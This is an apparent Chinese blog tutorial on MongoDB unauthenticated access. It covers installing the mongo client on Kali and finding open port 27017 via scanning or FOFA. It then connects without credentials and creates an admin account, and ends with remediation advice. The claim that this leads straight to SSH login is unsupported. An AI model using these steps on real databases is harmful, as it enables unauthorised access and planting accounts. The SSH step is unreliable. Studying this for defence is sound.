MongoDB 未授权访问漏洞

简介

MongoDB是一个基于分布式文件存储的数据库,是一个介于关系数据库和非关系数据库之间的产品,它的特点是高性能、易部署、易使用,存储数据非常方便,默认情况下是没有认证的这就导致不熟悉它的研发人员部署后没有做访问控制导致可以未授权登录。

实战

一、环境安装

当发现该端口对外开放时,使用MongoDB的shell工具mongo可以对未授权访问漏洞进行利用。

可以查看官方安装方法

https://docs.mongodb.com/manual/tutorial/install-mongodb-on-debian/

这边已经整理出kali中安装方法,安装该工具走了不少弯路,遇到各种环境问题。

1.导入MongoDB公共GPG密钥:

复制代码
wget -qO - https://www.mongodb.org/static/pgp/server-5.0.asc | sudo apt-key add -

如果提示错误运行下面命令之后,重新运行上面命令

复制代码
sudo apt-get install gnupg

2.创建一个列表文件来配置下载列表和下载源。

复制代码
echo "deb http://repo.mongodb.org/apt/debian buster/mongodb-org/5.0 main" | sudo tee /etc/apt/sources.list.d/mongodb-org-5.0.list

3.重新加载更新源

复制代码
sudo apt-get update

4.安装MongoDB的最新稳定版本

复制代码
sudo apt-get install -y mongodb-org

5.启动进程

复制代码
sudo systemctl start mongod

如果您在启动mongod时收到类似于以下内容的错误:

复制代码
Failed to start mongod.service: Unit mongod.service not found.

首先运行以下命令:然后再次运行上面的开始命令,然后再次运行上面的开始命令。

复制代码
sudo systemctl daemon-reload

6.配置开机自启

复制代码
sudo systemctl enable mongod

二、漏洞利用

1.扫描或者fofa发现端口或者服务,默认端口27017

2.使用mongo连接数据库

命令格式:mongo --host 目标ip --port 目标端口

3.查看用户、数据库信息等

4.创建系统用户管理员创建一个用户名为myUserAdmin,密码为Passw0rd的系统用户管理员账号

复制代码
#切换到admin库:
> use admin
switched to db admin
 
 
#创建用户
> db.createUser(
  {
    user: "myUserAdmin",
    pwd: "Passw0rd",
    roles: [ { role: "userAdminAnyDatabase", db: "admin" } ]
  }
)
 
 
#创建成功后提示信息:Successfully added user: {
    "user" : "myUserAdmin",
    "roles" : [
        {
            "role" : "userAdminAnyDatabase",
            "db" : "admin"
        }
    ]
}

5.ssh直接登录系统,利用完毕。

注:kali默认是没有安装mongo数据库连接工具的,需要自己手动安装。

三、漏洞修复

复制代码
3.0之前版本的MongoDB,默认监听在0.0.0.0,3.0及之后版本默认监听在127.0.0.1。
3.0之前版本,如未添加用户管理员账号及数据库账号,使用--auth参数启动时,在本地通过127.0.0.1仍可无需账号密码登陆访问数据库,远程访问则提示需认证;
3.0及之后版本,使用--auth参数启动后,无账号则本地和远程均无任何数据库访问权限。

1.如MongoDB只需在本地使用,建议只在本地开启监听服务。

2.如果仅对内网服务器提供服务,建议禁止将MongoDB服务发布到互联网上,并在主机上通过防火墙限制访问源IP。

3.启动基于角色的登录认证功能

相关推荐
上海控安31 分钟前
实时系统保障关键技术-最坏情况执行时间(WCET)分析
测试工具·安全
网安蟹佬霸1 小时前
密码学安全实战:从加密原理到哈希破解的完整攻防指南
网络·算法·安全·web安全·开源·密码学·哈希算法
0xBADCODE2 小时前
Flask SSTI读SECRET_KEY+伪造Session:税务系统渗透全流程
前端·后端·python·安全·web安全·网络安全·flask
迪康coolmu2 小时前
企业文件外发防泄漏实践:从通道封堵到三层全链路管控
大数据·运维·网络·人工智能·安全·阿里云
石头猫灯11 小时前
WordPress wp2shell 漏洞链完整拆解流程
网络·数据结构·安全·web安全
网安蟹佬霸12 小时前
OSINT开源情报收集实战:从信息搜集到资产测绘(2026最新万字保姆级指南)
前端·网络·安全·web安全·网络安全·开源
ltl12 小时前
TLS 1.3 工程实践:1-RTT 与 0-RTT 的安全权衡
安全
mennekes14 小时前
数据中心安全配电设备如何选择?
运维·人工智能·科技·安全·制造
Flynt15 小时前
就编译了一下代码,浏览器密码没了——Rust 生态遭遇史上最狠供应链攻击
安全·rust·开源
行业研究员17 小时前
企业智能体安全产品选型指南
安全·智能体安全·产品选型